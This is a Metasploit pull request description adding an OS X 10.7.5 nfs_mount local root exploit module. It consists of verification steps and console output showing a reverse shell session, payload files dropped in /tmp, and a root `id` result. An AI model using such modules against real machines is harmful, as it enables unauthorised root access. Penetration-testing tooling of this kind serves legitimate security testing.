rapid7/metasploit-framework — pull request #3292 by jvennix-r7 (2014-04-23 14:27:03+00:00)
Title: Add osx 10.7.5 and below nfs_mount privilege escalation module

Gets a local root on osx <= 10.7.5. Mostly a cut-and-paste job of Kensley Alphonse's very nice exploit here: http://www.exploit-db.com/exploits/32813/

### Verification

- [ ] Get a shell on OS 10.7 with an affected xnu version (you can use the `check` command)
- [ ] use `exploit/osx/local/nfs_mount_root` against your shell
- [ ] you should get root:

```
[*] Reloading module...

[*] Started reverse handler on 192.168.0.5:4444
[*] Writing temp file... /tmp/kpxlpmovvkgc
[*] Writing payload file... /tmp/dumiojdrpbfj
[*] Executing payload...
[*] Command shell session 7 opened (192.168.0.5:4444 -> 192.168.0.5:51558) at 2014-04-23 02:26:15 -0500
[+] Deleted /tmp/kpxlpmovvkgc
[+] Deleted /tmp/dumiojdrpbfj

3559947149
tcnsZElHkuaNDyFCnDJKIgoKHsNvtqNx
skWtunQFayvlKIcmPopDZSFyPmvEpzeK
PGRnucddgTGdYXZKReEmBBfmorSntDrT
id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),401(com.apple.access_screensharing),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),33(_appstore),61(localaccounts),80(admin),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1)
^Z
```